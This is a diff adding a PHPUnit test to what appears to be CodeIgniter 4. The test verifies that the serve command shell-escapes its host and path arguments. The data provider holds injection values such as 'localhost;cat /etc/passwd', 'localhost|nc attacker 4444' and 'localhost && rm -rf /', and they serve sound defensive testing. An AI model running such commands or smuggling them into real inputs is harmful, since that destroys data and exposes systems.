|
| 1 | +<?php |
| 2 | + |
| 3 | +declare(strict_types=1); |
| 4 | + |
| 5 | +/** |
| 6 | + * This file is part of CodeIgniter 4 framework. |
| 7 | + * |
| 8 | + * (c) CodeIgniter Foundation <admin@codeigniter.com> |
| 9 | + * |
| 10 | + * For the full copyright and license information, please view |
| 11 | + * the LICENSE file that was distributed with this source code. |
| 12 | + */ |
| 13 | + |
| 14 | +namespace CodeIgniter\Commands\Server; |
| 15 | + |
| 16 | +use Closure; |
| 17 | +use CodeIgniter\Test\CIUnitTestCase; |
| 18 | +use PHPUnit\Framework\Attributes\DataProvider; |
| 19 | +use PHPUnit\Framework\Attributes\Group; |
| 20 | +use PHPUnit\Framework\Attributes\RequiresOperatingSystem; |
| 21 | + |
| 22 | +/** |
| 23 | + * @internal |
| 24 | + */ |
| 25 | +#[Group('Others')] |
| 26 | +#[RequiresOperatingSystem('^(?!WIN)')] |
| 27 | +final class ServeTest extends CIUnitTestCase |
| 28 | +{ |
| 29 | + /** |
| 30 | + * @return Closure(string, string, int, string, string): string |
| 31 | + */ |
| 32 | + private function buildServeCommand(): Closure |
| 33 | + { |
| 34 | + /** @var Closure(string, string, int, string, string): string */ |
| 35 | + return self::getPrivateMethodInvoker( |
| 36 | + new Serve(service('logger'), service('commands')), |
| 37 | + 'buildServeCommand', |
| 38 | + ); |
| 39 | + } |
| 40 | + |
| 41 | + public function testBuildsExpectedCommandWithDefaultArguments(): void |
| 42 | + { |
| 43 | + $build = $this->buildServeCommand(); |
| 44 | + |
| 45 | + $command = $build('/usr/bin/php', 'localhost', 8080, '/srv/public', '/srv/system/rewrite.php'); |
| 46 | + |
| 47 | + $this->assertSame( |
| 48 | + "'/usr/bin/php' -S 'localhost:8080' -t '/srv/public' '/srv/system/rewrite.php'", |
| 49 | + $command, |
| 50 | + ); |
| 51 | + } |
| 52 | + |
| 53 | + #[DataProvider('provideEscapesMaliciousHosts')] |
| 54 | + public function testEscapesMaliciousHosts(string $host, string $expected): void |
| 55 | + { |
| 56 | + $build = $this->buildServeCommand(); |
| 57 | + |
| 58 | + $command = $build('/usr/bin/php', $host, 8080, '/srv/public', '/srv/system/rewrite.php'); |
| 59 | + |
| 60 | + $this->assertSame($expected, $command); |
| 61 | + } |
| 62 | + |
| 63 | + /** |
| 64 | + * @return iterable<string, array{string, string}> |
| 65 | + */ |
| 66 | + public static function provideEscapesMaliciousHosts(): iterable |
| 67 | + { |
| 68 | + yield 'command substitution dollar' => [ |
| 69 | + '$(id)', |
| 70 | + "'/usr/bin/php' -S '\$(id):8080' -t '/srv/public' '/srv/system/rewrite.php'", |
| 71 | + ]; |
| 72 | + |
| 73 | + yield 'command substitution backtick' => [ |
| 74 | + '`whoami`', |
| 75 | + "'/usr/bin/php' -S '`whoami`:8080' -t '/srv/public' '/srv/system/rewrite.php'", |
| 76 | + ]; |
| 77 | + |
| 78 | + yield 'shell separator semicolon' => [ |
| 79 | + 'localhost;cat /etc/passwd', |
| 80 | + "'/usr/bin/php' -S 'localhost;cat /etc/passwd:8080' -t '/srv/public' '/srv/system/rewrite.php'", |
| 81 | + ]; |
| 82 | + |
| 83 | + yield 'shell separator pipe' => [ |
| 84 | + 'localhost|nc attacker 4444', |
| 85 | + "'/usr/bin/php' -S 'localhost|nc attacker 4444:8080' -t '/srv/public' '/srv/system/rewrite.php'", |
| 86 | + ]; |
| 87 | + |
| 88 | + yield 'shell separator ampersand' => [ |
| 89 | + 'localhost && rm -rf /', |
| 90 | + "'/usr/bin/php' -S 'localhost && rm -rf /:8080' -t '/srv/public' '/srv/system/rewrite.php'", |
| 91 | + ]; |
| 92 | + |
| 93 | + yield 'redirection' => [ |
| 94 | + 'localhost>/tmp/pwn', |
| 95 | + "'/usr/bin/php' -S 'localhost>/tmp/pwn:8080' -t '/srv/public' '/srv/system/rewrite.php'", |
| 96 | + ]; |
| 97 | + |
| 98 | + yield 'embedded single quote' => [ |
| 99 | + "a'b", |
| 100 | + "'/usr/bin/php' -S 'a'\\''b:8080' -t '/srv/public' '/srv/system/rewrite.php'", |
| 101 | + ]; |
| 102 | + |
| 103 | + yield 'newline' => [ |
| 104 | + "localhost\nmalicious", |
| 105 | + "'/usr/bin/php' -S 'localhost\nmalicious:8080' -t '/srv/public' '/srv/system/rewrite.php'", |
| 106 | + ]; |
| 107 | + } |
| 108 | + |
| 109 | + public function testEscapesPhpBinaryAndPaths(): void |
| 110 | + { |
| 111 | + $build = $this->buildServeCommand(); |
| 112 | + |
| 113 | + $command = $build( |
| 114 | + '/path with spaces/php', |
| 115 | + 'localhost', |
| 116 | + 8080, |
| 117 | + '/path with spaces/public', |
| 118 | + '/path with spaces/system/rewrite.php', |
| 119 | + ); |
| 120 | + |
| 121 | + $this->assertSame( |
| 122 | + "'/path with spaces/php' -S 'localhost:8080' -t '/path with spaces/public' '/path with spaces/system/rewrite.php'", |
| 123 | + $command, |
| 124 | + ); |
| 125 | + } |
| 126 | + |
| 127 | + public function testHonoursAdjustedPortValue(): void |
| 128 | + { |
| 129 | + $build = $this->buildServeCommand(); |
| 130 | + |
| 131 | + $command = $build('/usr/bin/php', 'localhost', 8082, '/srv/public', '/srv/system/rewrite.php'); |
| 132 | + |
| 133 | + $this->assertSame( |
| 134 | + "'/usr/bin/php' -S 'localhost:8082' -t '/srv/public' '/srv/system/rewrite.php'", |
| 135 | + $command, |
| 136 | + ); |
| 137 | + } |
| 138 | +} |
0 commit comments